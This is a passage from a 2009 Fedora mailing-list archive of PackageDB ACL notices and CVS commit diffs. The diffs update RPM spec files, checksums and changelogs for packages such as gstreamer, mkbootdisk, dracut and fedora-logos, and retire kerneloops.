terjeros has set the approveacls acl on sdparm (Fedora 11) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:33 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162733.B923D10F800@bastion2.fedora.phx.redhat.com>

terjeros has set the watchbugzilla acl on sdparm (Fedora 12) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:35 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162735.CC04910F88B@bastion2.fedora.phx.redhat.com>

terjeros has set the watchcommits acl on sdparm (Fedora 12) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:38 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162738.E695910F800@bastion2.fedora.phx.redhat.com>

terjeros has set the commit acl on sdparm (Fedora 12) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Thu Oct  1 16:27:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 16:27:40 +0000
Subject: [pkgdb] sdparm had acl change status
Message-ID: <20091001162740.B9C5F10F892@bastion2.fedora.phx.redhat.com>

terjeros has set the approveacls acl on sdparm (Fedora 12) to Approved for sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From hadess at fedoraproject.org  Thu Oct  1 16:55:20 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 16:55:20 +0000 (UTC)
Subject: rpms/gstreamer/devel .cvsignore, 1.42, 1.43 gstreamer.spec, 1.104, 
	1.105 sources, 1.43, 1.44
Message-ID: <20091001165520.C73E111C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16530

Modified Files:
	.cvsignore gstreamer.spec sources 
Log Message:
* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24.4-1
- Update to pre-release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	5 Aug 2009 12:43:19 -0000	1.42
+++ .cvsignore	1 Oct 2009 16:55:20 -0000	1.43
@@ -1 +1 @@
-gstreamer-0.10.24.tar.bz2
+gstreamer-0.10.24.4.tar.bz2


Index: gstreamer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/devel/gstreamer.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- gstreamer.spec	5 Aug 2009 12:43:19 -0000	1.104
+++ gstreamer.spec	1 Oct 2009 16:55:20 -0000	1.105
@@ -5,7 +5,7 @@
 %define 	_libxml2	2.4.0
 
 Name: 		%{gstreamer}
-Version: 	0.10.24
+Version: 	0.10.24.4
 Release: 	1%{?dist}
 Summary: 	GStreamer streaming media framework runtime
 
@@ -211,6 +211,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_sysconfdir}/rpm/macros.gstreamer
 
 %changelog
+* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24.4-1
+- Update to pre-release
+
 * Wed Aug 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24-1
 - Update to 0.10.24
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/devel/sources,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- sources	5 Aug 2009 12:43:19 -0000	1.43
+++ sources	1 Oct 2009 16:55:20 -0000	1.44
@@ -1 +1 @@
-178d3326c96c360c9a15751bd5d73a6c  gstreamer-0.10.24.tar.bz2
+df8d198a2bb3e4976a554378dec69c7c  gstreamer-0.10.24.4.tar.bz2



From kasal at fedoraproject.org  Thu Oct  1 16:58:56 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu,  1 Oct 2009 16:58:56 +0000 (UTC)
Subject: rpms/mkbootdisk/devel .cvsignore, 1.9, 1.10 mkbootdisk.spec, 1.26, 
	1.27 sources, 1.10, 1.11
Message-ID: <20091001165856.B5E1D11C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/mkbootdisk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17109

Modified Files:
	.cvsignore mkbootdisk.spec sources 
Log Message:
- syslinux image changed (#506181)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	5 Apr 2006 10:56:26 -0000	1.9
+++ .cvsignore	1 Oct 2009 16:58:56 -0000	1.10
@@ -1 +1 @@
-mkbootdisk-1.5.3.tar.gz
+mkbootdisk-1.5.4.tar.xz


Index: mkbootdisk.spec
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/devel/mkbootdisk.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- mkbootdisk.spec	25 Jul 2009 14:35:44 -0000	1.26
+++ mkbootdisk.spec	1 Oct 2009 16:58:56 -0000	1.27
@@ -1,13 +1,13 @@
 Summary: Creates a boot floppy disk for booting a system.
 Name: mkbootdisk
-Version:  1.5.3
-Release: 6%{?dist}
+Version:  1.5.4
+Release: 1%{?dist}
 # No version specified, only attribution is included spec file.
 License: GPL+
 Group: System Environment/Base
-Source: mkbootdisk-%{version}.tar.gz
+Source: mkbootdisk-%{version}.tar.xz
 ExclusiveOs: Linux
-ExclusiveArch: i386 sparc x86_64
+ExclusiveArch: %{ix86} sparc x86_64
 Requires: mkinitrd dosfstools
 %ifnarch sparc
 Requires: syslinux
@@ -39,9 +39,12 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root)
 %attr(755,root,root) /sbin/mkbootdisk
-%attr(644,root,root) %{_mandir}/man8/mkbootdisk.8.gz
+%attr(644,root,root) %{_mandir}/man8/mkbootdisk.8*
 
 %changelog
+* Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 1.5.4-1
+- syslinux image changed (#506181)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Apr 2006 10:56:26 -0000	1.10
+++ sources	1 Oct 2009 16:58:56 -0000	1.11
@@ -1 +1 @@
-6c76bccb56e47ea7dccf596ec79bd562  mkbootdisk-1.5.3.tar.gz
+6494ddde2869f1340390289bf163e2c4  mkbootdisk-1.5.4.tar.xz



From kasal at fedoraproject.org  Thu Oct  1 16:59:42 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu,  1 Oct 2009 16:59:42 +0000 (UTC)
Subject: rpms/mkbootdisk/F-11 .cvsignore, 1.9, 1.10 mkbootdisk.spec, 1.25,
	1.26 sources, 1.10, 1.11
Message-ID: <20091001165942.2F39011C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/mkbootdisk/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306

Modified Files:
	.cvsignore mkbootdisk.spec sources 
Log Message:
- syslinux image changed (#506181)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	5 Apr 2006 10:56:26 -0000	1.9
+++ .cvsignore	1 Oct 2009 16:59:41 -0000	1.10
@@ -1 +1 @@
-mkbootdisk-1.5.3.tar.gz
+mkbootdisk-1.5.4.tar.xz


Index: mkbootdisk.spec
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/F-11/mkbootdisk.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- mkbootdisk.spec	26 Feb 2009 01:37:41 -0000	1.25
+++ mkbootdisk.spec	1 Oct 2009 16:59:41 -0000	1.26
@@ -1,13 +1,13 @@
 Summary: Creates a boot floppy disk for booting a system.
 Name: mkbootdisk
-Version:  1.5.3
-Release: 5%{?dist}
+Version:  1.5.4
+Release: 1%{?dist}
 # No version specified, only attribution is included spec file.
 License: GPL+
 Group: System Environment/Base
-Source: mkbootdisk-%{version}.tar.gz
+Source: mkbootdisk-%{version}.tar.xz
 ExclusiveOs: Linux
-ExclusiveArch: i386 sparc x86_64
+ExclusiveArch: %{ix86} sparc x86_64
 Requires: mkinitrd dosfstools
 %ifnarch sparc
 Requires: syslinux
@@ -39,9 +39,15 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root)
 %attr(755,root,root) /sbin/mkbootdisk
-%attr(644,root,root) %{_mandir}/man8/mkbootdisk.8.gz
+%attr(644,root,root) %{_mandir}/man8/mkbootdisk.8*
 
 %changelog
+* Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 1.5.4-1
+- syslinux image changed (#506181)
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.3-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.3-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Apr 2006 10:56:26 -0000	1.10
+++ sources	1 Oct 2009 16:59:41 -0000	1.11
@@ -1 +1 @@
-6c76bccb56e47ea7dccf596ec79bd562  mkbootdisk-1.5.3.tar.gz
+6494ddde2869f1340390289bf163e2c4  mkbootdisk-1.5.4.tar.xz



From kasal at fedoraproject.org  Thu Oct  1 17:00:35 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu,  1 Oct 2009 17:00:35 +0000 (UTC)
Subject: rpms/mkbootdisk/F-12 .cvsignore, 1.9, 1.10 mkbootdisk.spec, 1.26,
	1.27 sources, 1.10, 1.11
Message-ID: <20091001170035.3C38511C0333@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/mkbootdisk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17707

Modified Files:
	.cvsignore mkbootdisk.spec sources 
Log Message:
- syslinux image changed (#506181)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	5 Apr 2006 10:56:26 -0000	1.9
+++ .cvsignore	1 Oct 2009 17:00:33 -0000	1.10
@@ -1 +1 @@
-mkbootdisk-1.5.3.tar.gz
+mkbootdisk-1.5.4.tar.xz


Index: mkbootdisk.spec
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/F-12/mkbootdisk.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- mkbootdisk.spec	25 Jul 2009 14:35:44 -0000	1.26
+++ mkbootdisk.spec	1 Oct 2009 17:00:34 -0000	1.27
@@ -1,13 +1,13 @@
 Summary: Creates a boot floppy disk for booting a system.
 Name: mkbootdisk
-Version:  1.5.3
-Release: 6%{?dist}
+Version:  1.5.4
+Release: 1%{?dist}
 # No version specified, only attribution is included spec file.
 License: GPL+
 Group: System Environment/Base
-Source: mkbootdisk-%{version}.tar.gz
+Source: mkbootdisk-%{version}.tar.xz
 ExclusiveOs: Linux
-ExclusiveArch: i386 sparc x86_64
+ExclusiveArch: %{ix86} sparc x86_64
 Requires: mkinitrd dosfstools
 %ifnarch sparc
 Requires: syslinux
@@ -39,9 +39,12 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root)
 %attr(755,root,root) /sbin/mkbootdisk
-%attr(644,root,root) %{_mandir}/man8/mkbootdisk.8.gz
+%attr(644,root,root) %{_mandir}/man8/mkbootdisk.8*
 
 %changelog
+* Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 1.5.4-1
+- syslinux image changed (#506181)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.3-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mkbootdisk/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	5 Apr 2006 10:56:26 -0000	1.10
+++ sources	1 Oct 2009 17:00:34 -0000	1.11
@@ -1 +1 @@
-6c76bccb56e47ea7dccf596ec79bd562  mkbootdisk-1.5.3.tar.gz
+6494ddde2869f1340390289bf163e2c4  mkbootdisk-1.5.4.tar.xz



From harald at fedoraproject.org  Thu Oct  1 17:04:56 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Thu,  1 Oct 2009 17:04:56 +0000 (UTC)
Subject: rpms/dracut/F-12 .cvsignore, 1.20, 1.21 dracut.spec, 1.35,
	1.36 sources, 1.21, 1.22
Message-ID: <20091001170456.6841611C00C1@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18773

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-10
- do not destroy assembled raid arrays if mdadm.conf present
- mount /dev/shm 
- let udevd not resolve group and user names
- preserve timestamps of tools on initramfs generation
- generate symlinks for binaries correctly
- moved network from udev to initqueue
- mount nfs3 with nfsvers=3 option and retry with nfsvers=2
- fixed nbd initqueue-finished
- improved debug output: specifying "rdinitdebug" now logs
  to dmesg, console and /init.log
- stop udev before killing it
- add ghost /var/log/dracut.log
- dmsquash: use info() and die() rather than echo
- strip kernel modules which have no x bit set
- redirect stdin, stdout, stderr all RW to /dev/console
  so the user can use "less" to view /init.log and dmesg



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	25 Sep 2009 04:47:38 -0000	1.20
+++ .cvsignore	1 Oct 2009 17:04:54 -0000	1.21
@@ -1 +1 @@
-dracut-002-845dd502.tar.bz2
+dracut-002-95b4875c.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/dracut.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- dracut.spec	25 Sep 2009 04:47:39 -0000	1.35
+++ dracut.spec	1 Oct 2009 17:04:55 -0000	1.36
@@ -1,4 +1,4 @@
-%define gittag 845dd502
+%define gittag 95b4875c
 %if 0%{?fedora} < 12
 %define with_switch_root 1
 %else
@@ -14,7 +14,7 @@
 
 Name: dracut
 Version: 002
-Release: 8%{?rdist}
+Release: 10%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -120,6 +120,8 @@ rm -f $RPM_BUILD_ROOT/sbin/switch_root
 
 mkdir -p $RPM_BUILD_ROOT/boot/dracut
 mkdir -p $RPM_BUILD_ROOT/var/lib/dracut/overlay
+mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log
+touch $RPM_BUILD_ROOT%{_localstatedir}/log/dracut.log
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -148,12 +150,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/dracut/modules.d/95debug
 %{_datadir}/dracut/modules.d/95resume
 %{_datadir}/dracut/modules.d/95rootfs-block
-%{_datadir}/dracut/modules.d/95s390
+%{_datadir}/dracut/modules.d/95dasd
 %{_datadir}/dracut/modules.d/95terminfo
 %{_datadir}/dracut/modules.d/95udev-rules
 %{_datadir}/dracut/modules.d/95udev-rules.ub810
 %{_datadir}/dracut/modules.d/98syslog
 %{_datadir}/dracut/modules.d/99base
+%attr(0644,root,root) %ghost %config(missingok,noreplace) %{_localstatedir}/log/dracut.log
 
 %files network
 %defattr(-,root,root,0755)
@@ -181,14 +184,36 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Thu Oct 01 2009 Harald Hoyer <harald at redhat.com> 002-10
+- do not destroy assembled raid arrays if mdadm.conf present
+- mount /dev/shm 
+- let udevd not resolve group and user names
+- preserve timestamps of tools on initramfs generation
+- generate symlinks for binaries correctly
+- moved network from udev to initqueue
+- mount nfs3 with nfsvers=3 option and retry with nfsvers=2
+- fixed nbd initqueue-finished
+- improved debug output: specifying "rdinitdebug" now logs
+  to dmesg, console and /init.log
+- stop udev before killing it
+- add ghost /var/log/dracut.log
+- dmsquash: use info() and die() rather than echo
+- strip kernel modules which have no x bit set
+- redirect stdin, stdout, stderr all RW to /dev/console
+  so the user can use "less" to view /init.log and dmesg
+
+* Tue Sep 29 2009 Harald Hoyer <harald at redhat.com> 002-9
+- make install of new dm/lvm udev rules optionally
+- correct dasd module typo
+
 * Fri Sep 25 2009 Warren Togami <wtogami at redhat.com> 002-8
 - revert back to dracut-002-5 tarball 845dd502
   lvm2 was reverted to pre-udev
 
-* Wed Sep 23 2009 harald at redhat.com 002-7
+* Wed Sep 23 2009 Harald Hoyer <harald at redhat.com> 002-7
 - build with the correct tarball
 
-* Wed Sep 23 2009 harald at redhat.com 002-6
+* Wed Sep 23 2009 Harald Hoyer <harald at redhat.com> 002-6
 - add new device mapper udev rules and dmeventd 
   bug 525319, 525015
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	25 Sep 2009 04:47:39 -0000	1.21
+++ sources	1 Oct 2009 17:04:55 -0000	1.22
@@ -1 +1 @@
-d8d9c7088a414abdc24dc92b463dff6f  dracut-002-845dd502.tar.bz2
+28b7980acb019a0c4095058552e6c3e1  dracut-002-95b4875c.tar.bz2



From hadess at fedoraproject.org  Thu Oct  1 17:10:58 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 17:10:58 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel .cvsignore, 1.28,
	1.29 gstreamer-plugins-base.spec, 1.87, 1.88 sources, 1.29, 1.30
Message-ID: <20091001171058.BB20111C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19942

Modified Files:
	.cvsignore gstreamer-plugins-base.spec sources 
Log Message:
* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24.4-1
- Update to pre-release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	5 Aug 2009 12:46:15 -0000	1.28
+++ .cvsignore	1 Oct 2009 17:10:58 -0000	1.29
@@ -1 +1 @@
-gst-plugins-base-0.10.24.tar.bz2
+gst-plugins-base-0.10.24.4.tar.bz2


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.87
retrieving revision 1.88
diff -u -p -r1.87 -r1.88
--- gstreamer-plugins-base.spec	26 Aug 2009 15:21:47 -0000	1.87
+++ gstreamer-plugins-base.spec	1 Oct 2009 17:10:58 -0000	1.88
@@ -1,11 +1,11 @@
 %define         gstreamer       gstreamer
 %define         majorminor      0.10
 
-%define         _gst            0.10.24
+%define         _gst            0.10.24.4
 
 Name: 		%{gstreamer}-plugins-base
-Version: 	0.10.24
-Release:  	2%{?dist}
+Version: 	0.10.24.4
+Release:  	1%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -248,6 +248,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24.4-1
+- Update to pre-release
+
 * Wed Aug 26 2009 Adam Jackson <ajax at redhat.com> 0.10.24-2
 - avf-support.patch: Add AVF file recognition (gnome #593117)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	5 Aug 2009 12:46:15 -0000	1.29
+++ sources	1 Oct 2009 17:10:58 -0000	1.30
@@ -1 +1 @@
-a3ec977c9c6602caacc2d3a7c12a17bf  gst-plugins-base-0.10.24.tar.bz2
+72391698d726933b2cf089eeb5ced66d  gst-plugins-base-0.10.24.4.tar.bz2



From cebbert at fedoraproject.org  Thu Oct  1 17:12:16 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu,  1 Oct 2009 17:12:16 +0000 (UTC)
Subject: rpms/kerneloops/F-12 .cvsignore, 1.5, NONE Makefile, 1.1,
	NONE kerneloops-0.12-dbus-service-activate.patch, 1.1,
	NONE kerneloops-0.12-log_result_url.patch, 1.1,
	NONE kerneloops.service, 1.1, NONE kerneloops.spec, 1.19,
	NONE sources, 1.4, NONE
Message-ID: <20091001171216.16DA711C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kerneloops/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20188

Removed Files:
	.cvsignore Makefile 
	kerneloops-0.12-dbus-service-activate.patch 
	kerneloops-0.12-log_result_url.patch kerneloops.service 
	kerneloops.spec sources 
Log Message:
dead package


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- kerneloops-0.12-dbus-service-activate.patch DELETED ---


--- kerneloops-0.12-log_result_url.patch DELETED ---


--- kerneloops.service DELETED ---


--- kerneloops.spec DELETED ---


--- sources DELETED ---



From cebbert at fedoraproject.org  Thu Oct  1 17:12:46 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu,  1 Oct 2009 17:12:46 +0000 (UTC)
Subject: rpms/kerneloops/F-12 dead.package,NONE,1.1
Message-ID: <20091001171246.425FA11C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kerneloops/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20264

Added Files:
	dead.package 
Log Message:
add the dead.package file


--- NEW FILE dead.package ---
Obsolete package, replaced by abrt



From cebbert at fedoraproject.org  Thu Oct  1 17:14:50 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu,  1 Oct 2009 17:14:50 +0000 (UTC)
Subject: rpms/kerneloops/devel dead.package, NONE, 1.1 .cvsignore, 1.5,
	NONE Makefile, 1.1,
	NONE kerneloops-0.12-dbus-service-activate.patch, 1.1,
	NONE kerneloops-0.12-log_result_url.patch, 1.1,
	NONE kerneloops.service, 1.1, NONE kerneloops.spec, 1.19,
	NONE sources, 1.4, NONE
Message-ID: <20091001171450.CED1711C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kerneloops/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20588

Added Files:
	dead.package 
Removed Files:
	.cvsignore Makefile 
	kerneloops-0.12-dbus-service-activate.patch 
	kerneloops-0.12-log_result_url.patch kerneloops.service 
	kerneloops.spec sources 
Log Message:
dead package


--- NEW FILE dead.package ---
Obsolete package, replaced by abrt


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- kerneloops-0.12-dbus-service-activate.patch DELETED ---


--- kerneloops-0.12-log_result_url.patch DELETED ---


--- kerneloops.service DELETED ---


--- kerneloops.spec DELETED ---


--- sources DELETED ---



From hadess at fedoraproject.org  Thu Oct  1 17:21:26 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 17:21:26 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel gstreamer-plugins-base.spec, 1.88,
	1.89 avf-support.patch, 1.1, NONE
Message-ID: <20091001172126.0AA7811C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22154

Modified Files:
	gstreamer-plugins-base.spec 
Removed Files:
	avf-support.patch 
Log Message:
Remove obsolete patch


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- gstreamer-plugins-base.spec	1 Oct 2009 17:10:58 -0000	1.88
+++ gstreamer-plugins-base.spec	1 Oct 2009 17:21:25 -0000	1.89
@@ -14,8 +14,6 @@ URL:		http://gstreamer.freedesktop.org/
 Source:		http://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch0:		avf-support.patch
-
 Requires:       %{gstreamer} >= %{_gst}
 Requires:	liboil >= 0.3.12-9
 BuildRequires: 	%{gstreamer}-devel >= %{_gst}
@@ -53,7 +51,6 @@ This package contains a set of well-main
 
 %prep
 %setup -q -n gst-plugins-base-%{version}
-%patch0 -p1 -b .avf
 
 %build
 %configure \


--- avf-support.patch DELETED ---



From cebbert at fedoraproject.org  Thu Oct  1 17:24:13 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Thu,  1 Oct 2009 17:24:13 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.30,1.31
Message-ID: <20091001172413.94BBA11C00C1@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22466

Modified Files:
	comps-f13.xml.in 
Log Message:
remove kerneloops pkg from f13


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- comps-f13.xml.in	1 Oct 2009 12:17:30 -0000	1.30
+++ comps-f13.xml.in	1 Oct 2009 17:24:13 -0000	1.31
@@ -358,7 +358,6 @@
       <packagereq type="default">firstboot</packagereq>
       <packagereq type="default">glx-utils</packagereq>
       <packagereq type="default">gnome-packagekit</packagereq>
-      <packagereq type="default">kerneloops</packagereq>
       <packagereq type="default">krb5-auth-dialog</packagereq>
       <packagereq type="default">openssh-askpass</packagereq>
       <packagereq type="default">plymouth-system-theme</packagereq>



From spot at fedoraproject.org  Thu Oct  1 17:25:50 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu,  1 Oct 2009 17:25:50 +0000 (UTC)
Subject: rpms/fedora-logos/devel fedora-logos.spec, 1.131, 1.132 sources,
	1.101, 1.102
Message-ID: <20091001172550.D158A11C00C1@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22641/devel

Modified Files:
	fedora-logos.spec sources 
Log Message:
12.0.0


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/fedora-logos.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- fedora-logos.spec	4 Sep 2009 19:58:14 -0000	1.131
+++ fedora-logos.spec	1 Oct 2009 17:25:50 -0000	1.132
@@ -1,6 +1,6 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 11.0.7
+Version: 12.0.0
 Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
@@ -46,9 +46,9 @@ mkdir -p $RPM_BUILD_ROOT/boot/grub
 install -p -m 644 -D bootloader/splash.xpm.gz $RPM_BUILD_ROOT/boot/grub/splash.xpm.gz
 # end i386 bits
 
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-leonidas
+mkdir -p $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-constantine
 for i in firstboot/* ; do
-  install -p -m 644 $i $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-leonidas
+  install -p -m 644 $i $RPM_BUILD_ROOT%{_datadir}/firstboot/themes/fedora-constantine
 done
 
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/pixmaps/splash
@@ -129,7 +129,7 @@ fi
